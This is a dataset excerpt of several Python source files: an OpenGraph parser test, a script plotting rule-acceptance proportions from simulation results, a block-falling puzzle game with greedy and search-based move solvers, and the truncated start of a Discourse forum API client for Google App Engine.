\"image\": \"http://ia.media-imdb.com/images/rock.jpg\",\n                \"scrape\": False,\n                \"title\": \"The Rock\",\n                \"type\": \"movie\",\n                \"url\": \"http://www.imdb.com/title/tt0117500/\"\n            }\n        )\n\n    def test_is_valid(self):\n        og = OpenGraph()\n        og.parser(HTML)\n\n        self.assertTrue(og.is_valid())\n\n    def test_is_valid_with_missing_required_attrs(self):\n        og = OpenGraph()\n        og.parser(HTML_WITH_MISSING_REQUIRED_ATTRS)\n\n        self.assertFalse(og.is_valid())\n\n    @patch(\"opengraph.opengraph.urlopen\")\n    def test_open_url(self, urlopen_mock):\n        read_mock = MagicMock()\n        read_mock.read.return_value = HTML\n        urlopen_mock.side_effect = lambda url: read_mock\n\n        og = OpenGraph(url=\"http://www.example.com\")\n\n        self.assertTrue(og.is_valid())\n        self.assertDictEqual(\n            og,\n            {\n                \"_url\": \"http://www.example.com\",\n                \"description\": \"movie description\",\n                \"image\": \"http://ia.media-imdb.com/images/rock.jpg\",\n                \"scrape\": False,\n                \"title\": \"The Rock\",\n                \"type\": \"movie\",\n                \"url\": \"http://www.imdb.com/title/tt0117500/\"\n            }\n        )\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"tests/test_opengraph.py","file_name":"test_opengraph.py","file_ext":"py","file_size_in_byte":3681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"451702165","text":"import csv\nimport numpy\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom scipy import stats\n\nnum_iter = 500\nnum_reps = 75\nmax_allowed_qual = 5000\n\nfile = 'probabilistic_selection_test_500_iterations.csv'\n\nall_repetitions_data = []\n\nnum_lowtier_rules = 8\nnum_hightier_rules = 5\n\nchunk_size = 100\n\nrule_applications_a = []\nrule_acceptance_a = []\nrule_effectiveness_a = []\nrule_selection_chance_a = []\nrule_proportions_a = []\n\nfor i in range(0, int(num_iter/chunk_size)):\n    rule_applications_a.append(numpy.zeros(num_lowtier_rules+num_hightier_rules))\n    rule_acceptance_a.append(numpy.zeros(num_lowtier_rules+num_hightier_rules))\n    rule_effectiveness_a.append(numpy.zeros(num_lowtier_rules+num_hightier_rules))\n\nwith open(file, 'r') as sim_data_file:\n    csv_reader = csv.DictReader(sim_data_file)\n\n    valid_reps = []\n    for row in csv_reader:\n        if int(row['iteration']) == num_iter and float(row['current solution quality']) < max_allowed_qual and len(valid_reps) < num_reps:\n            valid_reps.append(row['repetition'])\n\n    print('')\n    print(valid_reps)\n    print('')\n    print(len(valid_reps))\n    print('')\n\n    sim_data_file.seek(0)\n\n    next(csv_reader)\n\n    data_list = list(csv_reader)\n    current_data_list_index = 0\n\n    for repetition_index in range(0, len(valid_reps)):\n        current_rep_num = valid_reps[repetition_index]\n        current_rep_data = []\n\n        for i in range(0, num_iter):\n            current_rep_data.append([])\n\n        for data_index in range(current_data_list_index, len(data_list)):\n            row = data_list[data_index]\n            current_data_list_index += 1\n            if row['repetition'] == current_rep_num:\n                rep = int(current_rep_num)\n                iter = int(row['iteration'])\n                tier = row['rule tier']\n                rule = int(row['rule number'])\n                acceptance = int(row['rule acceptance'])\n\n                quality_before = float(row['quality before rule'])\n                quality_after = float(row['quality after rule'])\n                quality_change = quality_after - quality_before\n\n                current_rep_data[int(row['iteration'])-1].append({'rep': rep,\n                                                                  'iter': iter,\n                                                                  'tier': tier,\n                                                                  'rule': rule,\n                                                                  'acceptance': acceptance,\n                                                                  'quality_change': quality_change})\n\n            elif row['repetition'] in valid_reps:\n                current_data_list_index -= 1\n                break\n\n        all_repetitions_data.append(current_rep_data)\n\nfor i in range(0, len(all_repetitions_data)):\n    for j in range(0, len(all_repetitions_data[i])):\n        iteration = all_repetitions_data[i][j][0]\n        chunk = int((iteration['iter'] - 1) / chunk_size)\n\n        if iteration['tier'] == 'low':\n            rule_index = iteration['rule'] - 1\n        elif iteration['tier'] == 'high':\n            rule_index = iteration['rule'] - 2 + num_lowtier_rules\n\n        rule_applications_a[chunk][rule_index] += 1\n\n        if iteration['acceptance'] == 1:\n            rule_acceptance_a[chunk][rule_index] += 1\n\nrule_effectiveness_a = numpy.divide(rule_acceptance_a, rule_applications_a)\nrule_selection_chance_a = numpy.divide(rule_applications_a, len(all_repetitions_data)*chunk_size)\n\nfor i in range(0, len(rule_acceptance_a)):\n    total_accepted = sum(rule_acceptance_a[i])\n    rule_proportions_a.append(numpy.divide(rule_acceptance_a[i], total_accepted))\n\nerror_a = []\n\nfor chunk in rule_proportions_a:\n    error_a.append(stats.sem(chunk))\n\n# print(rule_applications_a)\n# print(rule_acceptance_a)\n# print(rule_effectiveness_a)\n# print(rule_selection_chance_a)\n# print(rule_proportions_a)\n# print('')\n\nfile = 'probabilistic_selection_test_500_iterations.csv'\n\nall_repetitions_data = []\n\nrule_applications_b = []\nrule_acceptance_b = []\nrule_effectiveness_b = []\nrule_selection_chance_b = []\nrule_proportions_b = []\n\nfor i in range(0, int(num_iter/chunk_size)):\n    rule_applications_b.append(numpy.zeros(num_lowtier_rules+num_hightier_rules))\n    rule_acceptance_b.append(numpy.zeros(num_lowtier_rules+num_hightier_rules))\n    rule_effectiveness_b.append(numpy.zeros(num_lowtier_rules+num_hightier_rules))\n\nwith open(file, 'r') as sim_data_file:\n    csv_reader = csv.DictReader(sim_data_file)\n\n    valid_reps = []\n    for row in csv_reader:\n        if int(row['iteration']) == num_iter and float(row['current solution quality']) < max_allowed_qual and len(valid_reps) < num_reps:\n            valid_reps.append(row['repetition'])\n\n    print('')\n    print(valid_reps)\n    print('')\n    print(len(valid_reps))\n    print('')\n\n    sim_data_file.seek(0)\n\n    next(csv_reader)\n\n    data_list = list(csv_reader)\n    current_data_list_index = 0\n\n    for repetition_index in range(0, len(valid_reps)):\n        current_rep_num = valid_reps[repetition_index]\n        current_rep_data = []\n\n        for i in range(0, num_iter):\n            current_rep_data.append([])\n\n        for data_index in range(current_data_list_index, len(data_list)):\n            row = data_list[data_index]\n            current_data_list_index += 1\n            if row['repetition'] == current_rep_num:\n                rep = int(current_rep_num)\n                iter = int(row['iteration'])\n                tier = row['rule tier']\n                rule = int(row['rule number'])\n                acceptance = int(row['rule acceptance'])\n\n                quality_before = float(row['quality before rule'])\n                quality_after = float(row['quality after rule'])\n                quality_change = quality_after - quality_before\n\n                current_rep_data[int(row['iteration'])-1].append({'rep': rep,\n                                                                  'iter': iter,\n                                                                  'tier': tier,\n                                                                  'rule': rule,\n                                                                  'acceptance': acceptance,\n                                                                  'quality_change': quality_change})\n\n            elif row['repetition'] in valid_reps:\n                current_data_list_index -= 1\n                break\n\n        all_repetitions_data.append(current_rep_data)\n\nfor i in range(0, len(all_repetitions_data)):\n    for j in range(0, len(all_repetitions_data[i])):\n        iteration = all_repetitions_data[i][j][0]\n        chunk = int((iteration['iter'] - 1) / chunk_size)\n\n        if iteration['tier'] == 'low':\n            rule_index = iteration['rule'] - 1\n        elif iteration['tier'] == 'high':\n            rule_index = iteration['rule'] - 2 + num_lowtier_rules\n\n        rule_applications_b[chunk][rule_index] += 1\n\n        if iteration['acceptance'] == 1:\n            rule_acceptance_b[chunk][rule_index] += 1\n\nrule_effectiveness_b = numpy.divide(rule_acceptance_b, rule_applications_b)\nrule_selection_chance_b = numpy.divide(rule_applications_b, len(all_repetitions_data)*chunk_size)\n\nfor i in range(0, len(rule_acceptance_b)):\n    total_accepted = sum(rule_acceptance_b[i])\n    rule_proportions_b.append(numpy.divide(rule_acceptance_b[i], total_accepted))\n\nerror_b = []\n\nfor chunk in rule_proportions_b:\n    error_b.append(stats.sem(chunk))\n\n# print(rule_applications_b)\n# print(rule_acceptance_b)\n# print(rule_effectiveness_b)\n\n#######################################################################################################################\n#######################################################################################################################\n\nchunk_labels = ('1', '2', '3', '4', '5')\ny_pos = numpy.arange(len(chunk_labels))\nbar_width = 0.35\n\n# for rule in range(0, num_lowtier_rules + num_hightier_rules):\n#     effectiveness_a = []\n#     effectiveness_b = []\n#     for chunk in rule_proportions_a:\n#         effectiveness_a.append(chunk[rule])\n#     for chunk in rule_proportions_b:\n#         effectiveness_b.append(chunk[rule])\n#     plt.bar(y_pos, effectiveness_a, bar_width, color='g', align='center', alpha=0.5, label='Random Selection')\n#     # plt.bar(y_pos+bar_width, effectiveness_b, bar_width, color='c', align='center', alpha=0.5, label='Probabilistic Selection')\n#     # plt.errorbar(y_pos, effectiveness_a, yerr=error_a, color='g', alpha=0.5, fmt='o')\n#     # plt.errorbar(y_pos + bar_width, effectiveness_b, yerr=error_b, color='c', alpha=0.5, fmt='o')\n#     plt.xticks(y_pos, chunk_labels)\n#     plt.ylim(0, 0.75)\n#     plt.grid()\n#     plt.xlabel('Iteration Chunk (Every 100 Iter.)')\n#     plt.ylabel('Acceptance Rate of Applied Rule')\n#     plt.legend(loc=1)\n#\n    # if rule < 8:\n    #     plt.title('Lower-Tier Rule: ' + str(rule+1))\n    # else:\n    #     plt.title('Higher-Tier Rule: ' + str(rule-7))\n#     print(effectiveness_a)\n#     print(effectiveness_b)\n#     plt.show()\n\nall_rule_proportions = []\n\nfor rule in range(0, num_lowtier_rules + num_hightier_rules):\n    proportion = []\n    for chunk in rule_proportions_a:\n        proportion.append(chunk[rule])\n    all_rule_proportions.append(proportion)\n\nprint(all_rule_proportions)\n\ncolors = [(0.8, 0, 0), (0, 0.8, 0), (0, 0, 0.8), (0.8, 0.8, 0), (0.8, 0, 0.8), (0, 0.8, 0.8), (0.8, 0.4, 0.4), (0.4, 0.8, 0.4),\n          (0.4, 0.4, 0.8), (0.8, 0.2, 0.4), (0.2, 0.2, 0), (0.8, 1.0, 0.4), (0.9, 0.6, 0.2)]\nlast_bottom = numpy.zeros(len(rule_proportions_a))\n\nfor rule_index in range(0, len(all_rule_proportions)):\n    rule = all_rule_proportions[rule_index]\n    if rule_index < 8:\n        rule_name = \"LT Rule: \"+ str(rule_index+1)\n    else:\n        rule_name = \"HT Rule: \"+str(rule_index-7)\n    plt.bar(y_pos, rule, bar_width, color=colors[rule_index], bottom=last_bottom, align='center', alpha=0.5, label=rule_name)\n    plt.xticks(y_pos, chunk_labels)\n    plt.ylim(0, 1.0)\n    plt.xlabel('Iteration Chunk (Every 100 Iter.)')\n    plt.ylabel('Proportion')\n    plt.title('Proportion of Each Rule Within All Accepted Rules per Chunk (Random Rule Selection)')\n    plt.legend(loc=1)\n\n    last_bottom += rule\n\nplt.grid()\nplt.show()\n\n#######################################################################################################################\n#######################################################################################################################\n\nlumped_proportions = numpy.zeros(5)\nbest_rules = [4, 6, 7, 10, 12]\n\nfor rule_index in range(0, len(all_rule_proportions)):\n    if rule_index not in best_rules:\n        for chunk_index in range(len(rule_proportions_a)):\n            lumped_proportions[chunk_index] += all_rule_proportions[rule_index][chunk_index]\n    print(lumped_proportions)\n\nlumped_and_best_proportions = []\nlumped_and_best_proportions.append(lumped_proportions)\n\nfor index in best_rules:\n    lumped_and_best_proportions.append(all_rule_proportions[index])\n\ncolors = [(0.5, 0.4, 0.2), (0, 0.6, 0), (0, 0.2, 0.5), (0.7, 0.2, 0.1), (0.4, 0.8, 0.2), (0.8, 0.5, 0)]\nlast_bottom = numpy.zeros(len(rule_proportions_a))\n\nfor rule_index in range(0, len(lumped_and_best_proportions)):\n    rule = lumped_and_best_proportions[rule_index]\n    if rule_index == 0:\n        rule_name = \"OTHER\"\n    elif rule_index == 1:\n        rule_name = 'LT Rule 5'\n    elif rule_index == 2:\n        rule_name = 'LT Rule 7'\n    elif rule_index == 3:\n        rule_name = 'LT Rule 8'\n    elif rule_index == 4:\n        rule_name = 'HT Rule 3'\n    elif rule_index == 5:\n        rule_name = 'HT Rule 5'\n    plt.bar(y_pos, rule, bar_width, color=colors[rule_index], bottom=last_bottom, align='center', alpha=0.5,\n            label=rule_name)\n    plt.xticks(y_pos, chunk_labels)\n    plt.ylim(0, 1.0)\n    plt.xlabel('Iteration Chunk (Every 100 Iter.)')\n    plt.ylabel('Proportion')\n    plt.title('Proportion of Each Rule Within All Accepted Rules per Chunk (Probabilistic Rule Selection)')\n    plt.legend(loc=1)\n\n    last_bottom += rule\n\nplt.grid()\nplt.show()\n\n#######################################################################################################################\n#######################################################################################################################\n\nlower_tier_proportions = numpy.zeros(5)\nhigher_tier_proportions = numpy.zeros(5)\n\nfor rule_index in range(len(all_rule_proportions)):\n    if rule_index < 8:\n        for chunk_index in range(len(all_rule_proportions[rule_index])):\n            lower_tier_proportions[chunk_index] += all_rule_proportions[rule_index][chunk_index]\n        print(lower_tier_proportions)\n    elif rule_index >= 8:\n        for chunk_index in range(len(all_rule_proportions[rule_index])):\n            higher_tier_proportions[chunk_index] += all_rule_proportions[rule_index][chunk_index]\n        print(higher_tier_proportions)\n\ncombined_tiers_proportions = []\ncombined_tiers_proportions.append(lower_tier_proportions)\ncombined_tiers_proportions.append(higher_tier_proportions)\n\ncolors = [(0.8, 0.8, 0), (0, 0.2, 0.8)]\n\nlast_bottom = numpy.zeros(len(rule_proportions_a))\n\nfor tier_index in range(len(combined_tiers_proportions)):\n    tier = combined_tiers_proportions[tier_index]\n    if tier_index == 0:\n        tier_name = \"Lower-Tier\"\n    elif tier_index == 1:\n        tier_name = \"Higher-Tier\"\n    plt.bar(y_pos, tier, bar_width, color=colors[tier_index], bottom=last_bottom, align='center', alpha=0.5, label=tier_name)\n    plt.xticks(y_pos, chunk_labels)\n    plt.ylim(0, 1.0)\n    plt.xlabel('Iteration Chunk (Every 100 Iter.)')\n    plt.ylabel('Proportion')\n    plt.title('Proportion of Each Rule Tier Within All Accepted Rules per Chunk (Probabilistic Rule Selection)')\n    plt.legend(loc=1)\n\n    last_bottom += tier\n\nplt.grid()\nplt.show()\n","sub_path":"tests/Revised Simulations/rule_effectiveness_test.py","file_name":"rule_effectiveness_test.py","file_ext":"py","file_size_in_byte":13875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"528014061","text":"import Color\nimport Dimension\nimport Position\nimport Block\nimport Board\n\n\ndef let_all_full_rows_explode(board):\n    \"\"\"\n        Let all the blocks in all the full rows on the given board explode.\n        - The function starts with examining the given board collecting all the\n          blocks in all rows that are completely filled. Hereafter, it will let\n          each of these blocks explode exactly once in ascending order of their\n          position.\n        - If part of a full row has already exploded because of explosions of\n          (electrified) blocks in lower rows, other blocks in that row will still\n          explode (even if the row is no longer completely filled).\n        - If a fragile block in a full row has already exploded because of explosions\n          of (electrified) blocks in lower rows, the replacing blocks will not explode\n          on their own. They may, however, explode as a result of other electrified\n          blocks exploding.\n        - The function returns the score resulting from all explosions.\n        ASSUMPTIONS\n        - The given board is a proper board.\n        NOTE\n        - This function is already provided (you do not have to work out this function yourself).\n    \"\"\"\n    assert Board.is_proper_board(board)\n    blocks_to_explode = []\n    full_rows_sorted = list(Board.get_all_full_rows(board))\n    list.sort(full_rows_sorted)\n    for row in full_rows_sorted:\n        list.extend(blocks_to_explode, Board.get_all_blocks_in_row(board, row))\n    total_score = 0\n    for block in blocks_to_explode:\n        if Board.contains_block(board, block):\n            total_score += Board.let_explode(board, block)\n    return total_score\n\n\ndef adjust_score(score, level, score_from_explosions, nb_full_rows, nb_columns):\n    \"\"\"\n        Return the new score and the new level in view of the given score, the given\n        level, the score resulting from explosions that have taken place, the total\n        number of full rows in which these explosions took place and the number of\n        columns on the board.\n        NOTE\n        - This function is already provided (you do not have to work out this function yourself). Its details are irrelevant.\n    \"\"\"\n\n    def treshold_for_level(level):\n        if level == 1:\n            return 11 * nb_columns\n        else:\n            return treshold_for_level(level - 1) + (10 + level) * nb_columns * level\n\n    extra_score = score_from_explosions * nb_full_rows * level\n    score += extra_score\n    if score > treshold_for_level(level):\n        level += 1\n    return (score, level)\n\n\ndef stabilize_board(level, score, board):\n    \"\"\"\n        Stabilize the given board and return the updated level and score in view of\n        the given level and given score.\n        - The function continuously lets all blocks on the given board fall down,\n          followed by explosions of all full rows, until the board is stable.\n        - The function returns a tuple (l,s) in which l is the new level and s is\n          the new score in view of the given level and given score.\n        ASSUMPTIONS\n        - The given level is a positive integer number.\n        - The given score is a non-negative integer number.\n        - The given board is a proper board.\n        NOTE\n        - This function is already provided (you do not have to work out this function yourself).\n    \"\"\"\n    assert isinstance(level, int) and (level >= 1)\n    assert isinstance(score, int) and (score >= 0)\n    assert Board.is_proper_board(board)\n    Board.let_all_blocks_fall(board)\n    nb_full_rows = len(Board.get_all_full_rows(board))\n    while (nb_full_rows > 0):\n        if nb_full_rows > 0:\n            score_from_explosions = let_all_full_rows_explode(board)\n            score, level = \\\n                adjust_score(score, level, score_from_explosions, nb_full_rows,\n                             Dimension.get_nb_of_columns(Board.get_dimension(board)))\n        Board.let_all_blocks_fall(board)\n        nb_full_rows = len(Board.get_all_full_rows(board))\n    return (level, score)\n\n\ndef get_all_possible_moves(board):\n    all_possible_moves = []\n    for block in Board.get_all_blocks(board):\n        i = 1\n        check1 = False\n        check2 = False\n        while 1:\n            if Board.can_move_over(board, block, i) and not check1:\n                all_possible_moves.append((block, i))\n            else:\n                check1 = True\n            if Board.can_move_over(board, block, -i) and not check2:\n                all_possible_moves.append((block, -i))\n            else:\n                check2 = True\n            if check1 and check2:\n                break\n            i += 1\n    return all_possible_moves\n\n\ndef play_greedy(blocks, dimension=(8, 10)):\n    \"\"\"\n       Play the game in a greedy way on a board with the given dimension,\n       using the given blocks to fill the bottom row in each step of the game.\n       The function repeatedly shifts all blocks up one row, adds new blocks to the\n       bottom row and stabilizes the board, computes the move that yields the highest\n       score, and makes that move.\n       - The given blocks are collected in a list of which each element is a list of\n         blocks to fill the bottom row once.\n       - The function computes and executes in each step the move yielding the\n         highest score.\n       - The function returns a tuple consisting of the total score after all\n         the given blocks have been used or as soon as the game has come to an end,\n         followed by a list of all the moves that have been made. Each move in the\n         latter list is a tuple containing the block to move, followed by the\n         distance over which that block has been moved.\n       ASSUMPTIONS\n       - The given dimension is a proper dimension.\n       - Each element in the list of blocks ((blocks[I]) is a sequence that can be\n         used to fill the bottom row once in a valid way (i.e., no overlapping\n         positions, no remaining gap larger than half the number of columns after\n         a complete fill, ...)\n       - The elements in the list of blocks (blocks[I]) are used in the order from left\n         to right.\n       - Each basic element in the list of blocks ((blocks[I][J]) is a tuple\n         involving a (leftmost) position in the bottom row of the board followed by\n         a proper block for a board with the given dimension.\n    \"\"\"\n    if not blocks:\n        return 0, []\n\n    board = Board.make_board(dimension)\n    level = 1\n    score = 0\n    total_moves = []\n    while blocks:\n        Board.insert_bottom_row(board, blocks.pop(0))\n        level, score = stabilize_board(level, score, board)\n        all_possible_moves = get_all_possible_moves(board)\n        max_score = 0\n        best_moves = []\n        for move in all_possible_moves:\n            board_copy = Board.copy_board(board)\n            Board.move_block_horizontally(board_copy, move[0], move[1])\n            temp_level, temp_score = stabilize_board(level, score, board_copy)\n            if temp_score > max_score:\n                max_score = temp_score\n                best_moves = [move]\n            elif temp_score == max_score:\n                best_moves.append(move)\n        if len(best_moves) > 1:\n            lowest_block_moves = []\n            lowest_row = Dimension.get_nb_of_rows(dimension)\n            lowest_column = Dimension.get_nb_of_columns(dimension)\n            for move in best_moves:\n                pos = Board.get_leftmost_position_of(board, move[0])\n                row_nb = Position.nb_of_row(dimension, Position.get_row(pos))\n                col = Position.get_column(pos)\n                if row_nb <= lowest_row:\n                    lowest_row = row_nb\n                    if col < lowest_column:\n                        lowest_column = col\n                        lowest_block_moves = [move]\n                    elif col == lowest_column:\n                        lowest_block_moves.append(move)\n            if len(lowest_block_moves) > 1:\n                lowest_move = Dimension.get_nb_of_columns(dimension)\n                for move in lowest_block_moves:\n                    if move[1] < lowest_move:\n                        lowest_move = move[1]\n                        best_moves = [move]\n            else:\n                best_moves = lowest_block_moves\n        total_moves.append(best_moves[0])\n        Board.move_block_horizontally(board, best_moves[0][0], best_moves[0][1])\n        level, score = stabilize_board(level, score, board)\n    return score, total_moves\n\n\ndef get_top_moves(board, blocks, min_score=100, max_nb_moves=10, level=1, score=0):\n    \"\"\"\n       Compute the best possible moves to play the game on the given board starting from\n       the given level and the given score using the given blocks to fill the bottom row\n       in each step of the game to reach a score at least as high as the given minimal\n       score in no more than the given maximum number of moves.\n       Play starts with moving all blocks up one row, adding new blocks to the bottom\n       row and stabilizing the board.\n       - The given blocks are collected in a list of which each element is a list of\n         blocks to fill the bottom row once.\n       - The function returns None if the given minimal score cannot be reached.\n         Otherwise, the function returns a list of all the moves to reach at least\n         the minimal score. Each move in the latter list is a tuple containing\n         the lefmost position of the block to move, followed by the block itself,\n         followed by the distance over which that block has to be moved.\n         The position of the block is taken at the time of the move, which may obviously\n         differ from the initial position taken by that block on the board.\n       - If several solutions exist to reach at least the minimal score, the function\n         returns the shortest of them in terms of number of moves. If several\n         shortest solutions exist, the function returns the solution that is less\n         than all other solutions of the same length using Python's operator to compare\n         lists.\n       - Upon exit, the given board and the given list of blocks must be in the same\n         state they were in upon entry.\n       ASSUMPTIONS\n       - The given board is a proper and stable board.\n       - Each element in the list of blocks ((blocks[I]) is a sequence that can be\n         used to fill the bottom row once in a valid way (i.e., no overlapping\n         positions, no remaining gap larger than half the number of columns after\n         a complete fill, ...)\n       - The elements in the list of blocks (blocks[I]) are used in the order from left\n         to right.\n       - Each basic element in the list of blocks ((blocks[I][J]) is a tuple\n         involving a (leftmost) position in the bottom row of the board followed by\n         a proper block for a board with the given dimension.\n       - The given minimal score is a non-negative integer number.\n       - The given maximum number of moves is an integer number. If it is negative,\n         the function must return None.\n       - The given level is a positive integer number.\n       - The given score is a non-negative integer number.\n       NOTE:\n       -  This function must use the given functions let_all_full_rows_explode\n          and stabilize_board each time all rows of the board must explode,\n          respectively the board must be stabilized.\n    \"\"\"\n    if max_nb_moves < 0:\n        return None\n    if max_nb_moves == 0 or not blocks:\n        if min_score > 0:\n            return None\n        else:\n            return []\n\n    blocks = blocks.copy()\n    cboard = Board.copy_board(board)\n    if blocks:\n        Board.insert_bottom_row(cboard, blocks.pop(0))\n    else:\n        return []\n    level, score = stabilize_board(level, score, cboard)\n    best_moves = []\n    max_score = 0\n\n    for move in get_all_possible_moves(cboard):\n        temp_moves = []\n        copy = Board.copy_board(cboard)\n        pos = Board.get_leftmost_position_of(copy, move[0])\n        Board.move_block_horizontally(copy, move[0], move[1])\n        if not Board.is_empty_row(copy, 'X'):\n            continue\n        temp_level, temp_score = stabilize_board(level, score, copy)\n\n        if max_nb_moves > 1 and temp_score < min_score:\n            temp_moves = get_top_moves(copy, blocks.copy(), min_score, max_nb_moves-1, level, temp_score)\n            if temp_moves:\n                moves_test = temp_moves.copy()\n                blocks_copy = blocks.copy()\n                while moves_test:\n                    Board.insert_bottom_row(copy, blocks_copy.pop(0))\n                    temp_level, temp_score = stabilize_board(temp_level, temp_score, copy)\n                    cache_move = moves_test.pop(0)\n                    Board.move_block_horizontally(copy, Board.get_block_at(copy, cache_move[0]), cache_move[2])\n                    temp_level, temp_score = stabilize_board(temp_level, temp_score, copy)\n\n        if temp_score >= min_score:\n            if temp_moves:\n                best_moves = [[(pos,) + move] + temp_moves]\n            else:\n                best_moves = [[(pos,) + move]]\n            max_score = temp_score\n\n    if max_score < min_score:\n        return None\n\n    if len(best_moves) == 0:\n        return None\n\n    if len(best_moves) > 1:\n        min = max_nb_moves\n        for i in best_moves:\n            if len(i) < min:\n                min = len(i)\n                best_moves = [i]\n            elif len(i) == min and i not in best_moves:\n                best_moves.append(i)\n\n    if len(best_moves) > 1:\n        min = None\n        for i in best_moves:\n            if not min or i < min:\n                min = i\n\n    return best_moves[0]\n\n\n\n\n\ndef let_player_move_block(board):\n    \"\"\"\n        Let the player move one of the blocks on the given board.\n        ASSUMPTIONS\n        - The given board is a proper board.\n        - The bottom row of the given board is not empty.\n    \"\"\"\n    assert Board.is_proper_board(board)\n    assert not Board.is_empty_row(board, \"a\")\n    block_to_move = None\n    distance_to_move_over = None\n    while (block_to_move is None) or (distance_to_move_over is None):\n        players_position = \\\n            input(\"Some position of block to move: \").split(',')\n        if (len(players_position) > 1) and str.isdigit(players_position[1]):\n            players_position[1] = eval(players_position[1])\n        players_position = tuple(players_position)\n        if not Position.is_proper_position(players_position):\n            print(\"   ---> A proper position consists of a letter, a comma and some digits!\")\n        elif not Position.is_within_boundaries(Board.get_dimension(board), players_position):\n            print(\"   ---> The position is outside the boundaries of the board!\")\n        elif Board.is_free_at(board, players_position):\n            print(\"   ---> No block at the given position\")\n        else:\n            the_block = Board.get_block_at(board, players_position)\n            players_distance = int(input(\"Enter distance to move block over : \"))\n            if (not isinstance(players_distance, int)) or (players_distance == 0):\n                print(\"   ---> The distance must be a non-zero integer number.!\")\n            elif not Board.can_move_over(board, the_block, players_distance):\n                print(\"   ---> The given block cannot move over the given distance\")\n            else:\n                block_to_move = the_block\n                distance_to_move_over = players_distance\n    Board.move_block_horizontally(board, block_to_move, distance_to_move_over)\n\n\ndef play_keyboard(blocks = [], nb_rows=10, nb_columns=8):\n    \"\"\"\n        Function to play the game on a board with the given number of rows and the\n        given number of columns via the keyboard, using the given blocks to fill\n        the bottom row.\n       - The given blocks are collected in a list of which each element is a list of\n         blocks to fill the bottom row once. The function will first use elements from\n         that list until the list is exhausted. From that point on, the function will\n         generate blocks to fill the bottom row in a random way.\n        ASSUMPTIONS\n        - The given number of rows and the given number of columns are integer numbers\n          greater than 1.\n    \"\"\"\n    assert (nb_rows > 1) and (nb_columns > 1)\n    score = 0\n    level = 1\n    the_board = Board.make_board((nb_rows, nb_columns))\n    while Board.is_empty_row(the_board, \"X\"):\n        if len(blocks) > 0:\n            Board.insert_bottom_row(the_board,blocks.pop(0))\n        else:\n            Board.push_all_blocks_up(the_board)\n            max_block_length = max(2, \\\n                               round(nb_columns / 4) if level <= 3 else \\\n                                   round(nb_columns / 3) if level <= 6 else\n                                   round(nb_columns / 2))\n            Board.fill_bottom_row(the_board, max_block_length)\n        level, score = stabilize_board(level, score, the_board)\n        Board.print_board(the_board)\n        let_player_move_block(the_board)\n        level, score = stabilize_board(level, score, the_board)\n        print(\"Score: \", score, \"[level: \", level, \"]\")\n    print(\"Einde spel!\")\n\n\nif __name__ == '__main__':\n    # You are free to change the content of blocks_to_fill\n    block1_1 = Block.make_block(1, color=Color.RED)\n    block1_2 = Block.make_block(3, color=Color.RED)\n    block1_3 = Block.make_block(4, color=Color.RED)\n    block2_1 = Block.make_block(1, color=Color.BLUE)\n    block2_2 = Block.make_block(2, color=Color.BLUE)\n    block2_3 = Block.make_block(4, color=Color.BLUE)\n    block3_1 = Block.make_block(3, color=Color.MAGENTA)\n    block3_2 = Block.make_block(1, color=Color.MAGENTA)\n    block3_3 = Block.make_block(2, color=Color.MAGENTA)\n    block3_4 = Block.make_block(1, color=Color.MAGENTA)\n    block4_1 = Block.make_block(3, color=Color.GREEN)\n    block4_2 = Block.make_block(3, color=Color.GREEN)\n    block4_3 = Block.make_block(1, color=Color.GREEN)\n    blocks_to_fill = \\\n        [[((\"a\", 1), block1_1), ((\"a\", 2), block1_2)], #((\"a\", 5), block1_3)],\n         [((\"a\", 1), block2_1), ((\"a\", 3), block2_2), ((\"a\", 5), block2_3)],\n         [((\"a\", 1), block3_1), ((\"a\", 5), block3_2), ((\"a\", 6), block3_3), ((\"a\", 8), block3_4)],\n         [((\"a\", 1), block4_1), ((\"a\", 5), block4_2), ((\"a\", 8), block4_3)]\n         ]\n    play_keyboard(blocks_to_fill,nb_columns=9)\n","sub_path":"Game-backup.py","file_name":"Game-backup.py","file_ext":"py","file_size_in_byte":18449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"428535844","text":"\"\"\"Gateway for accessing the Discourse API (for forums)\"\"\"\n\nimport json\nimport re\nfrom urllib import urlencode\n\nfrom google.appengine.api import urlfetch\nfrom google.appengine.ext import ndb\n\n\nclass Error(Exception):\n    pass\n\n\nclass DiscourseAPIClient(object):\n    \"\"\"An API client for interacting with Discourse\"\"\"\n\n    def __init__(self, discourse_url, api_key, api_username='system'):\n        self._discourse_url = discourse_url\n        self._api_key = api_key\n        self._api_username = api_username\n\n    @ndb.tasklet\n    def _getRequest(self, req_string, params=None, payload=None):\n        response = yield self._sendDiscourseRequest(req_string, params,\n                                                    payload, 'GET')\n        raise ndb.Return(response)\n\n    @ndb.tasklet\n    def _putRequest(self, req_string, params=None, payload=None):\n        response = yield self._sendDiscourseRequest(req_string, params,\n                                                    payload, 'PUT')\n        raise ndb.Return(response)\n\n    @ndb.tasklet\n    def _postRequest(self, req_string, params=None, payload=None):\n        response = yield self._sendDiscourseRequest(req_string, params,\n                                                    payload, 'POST')\n        raise ndb.Return(response)\n\n    @ndb.tasklet\n    def _deleteRequest(self, req_string, params=None, payload=None):\n        response = yield self._sendDiscourseRequest(req_string, params,\n                                                    payload, 'DELETE')\n        raise ndb.Return(response)\n\n    @ndb.tasklet\n    def _sendDiscourseRequest(self, req_string, params, payload, method):\n        if payload is None:\n            payload = {}\n        if params is None:\n            params = {}\n\n        if method == 'GET' or method == 'DELETE':\n            params.update({'api_key': self._api_key,\n                           'api_username': self._api_username})\n        else:\n            payload.update({'api_key': self._api_key,\n                            'api_username': self._api_username})\n\n        if params:\n            url = '%s%s?%s' % (self._discourse_url, req_string,\n                               urlencode(params))\n        else:\n            url = '%s%s' % (self._discourse_url, req_string)\n\n        response = yield ndb.get_context().urlfetch(\n            url=url, payload=urlencode(payload), method=method,\n            headers={'Content-Type': 'application/x-www-form-urlencoded'}\n        )\n\n        if response.status_code != 200:\n            raise Error(\"%s request to %s returned a code of %d\" %\n                        (method, req_string, response.status_code))\n\n        raise ndb.Return(json.loads(response.content))\n\n    # USER ACTIONS\n\n    @ndb.tasklet\n    def getUserByEmail(self, user_email):\n        